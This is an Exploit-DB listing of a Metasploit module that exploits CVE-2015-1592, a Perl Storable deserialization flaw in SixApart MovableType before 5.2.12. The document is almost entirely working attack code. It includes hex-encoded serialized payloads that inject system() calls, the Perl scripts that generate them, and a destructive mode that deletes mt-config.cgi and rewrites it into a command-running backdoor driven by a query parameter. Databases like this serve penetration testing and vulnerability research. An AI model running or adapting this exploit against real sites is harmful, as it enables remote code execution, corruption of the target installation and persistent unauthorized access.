SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)

2015-02-11T00:00:00
ID EDB-ID:41697
Type exploitdb
Reporter Exploit-DB
Modified 2015-02-11T00:00:00

Description

SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit). CVE-2015-1592. Webapps exploit for Linux platform

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'SixApart MovableType Storable Perl Code Execution',
      'Description'    =&gt; %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =&gt;
        [
          'John Lightsey',
        ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     =&gt; false, # web server context
      'Payload'        =&gt;
        {
          'DisableNops' =&gt; true,
          'BadChars'    =&gt; ' ',
          'Space'       =&gt; 1024,
        },
      'Compat'         =&gt;
        {
          'PayloadType' =&gt; 'cmd'
        },
      'Platform'       =&gt; ['unix'],
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt; [['Automatic', {}]],
      'DisclosureDate' =&gt; 'Feb 11 2015',
      'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore =&gt; 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x =&gt; $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' =&gt; sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    =&gt; 'GET',
        'uri'       =&gt; normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' =&gt; {
          '__mode' =&gt; 'retry',
          'step'   =&gt; 'configure',
          'config' =&gt; '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' =&gt; sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' =&gt; sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c =&gt; 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload &lt;&lt;  payload.encoded.unpack('H*')[0]
    config_payload &lt;&lt; "7d293b"
    config_payload &lt;&lt; "23" * (1025 - payload.encoded.length)
    config_payload &lt;&lt; "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    =&gt; 'GET',
      'uri'       =&gt; normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' =&gt; {
        '__mode' =&gt; 'retry',
        'step'   =&gt; 'configure',
        'config' =&gt; config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";
=end

  def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    =&gt; 'GET',
      'uri'       =&gt; normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' =&gt; {
        '__mode' =&gt; 'retry',
        'step'   =&gt; 'configure',
        'config' =&gt; '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    =&gt; 'GET',
      'uri'       =&gt; normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  =&gt; {
        '__mode'             =&gt; 'next_step',
        'step'               =&gt; 'optional',
        'default_language'   =&gt; 'en_us',
        'email_address_main' =&gt; "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI-&gt;new()-&gt;param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  =&gt; '/',
        'config'             =&gt; '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' =&gt; '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    =&gt; 'GET',
      'uri'       =&gt; normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  =&gt; {
        'xyzzy'   =&gt; payload.encoded,
      }
    }, 5)
  end

end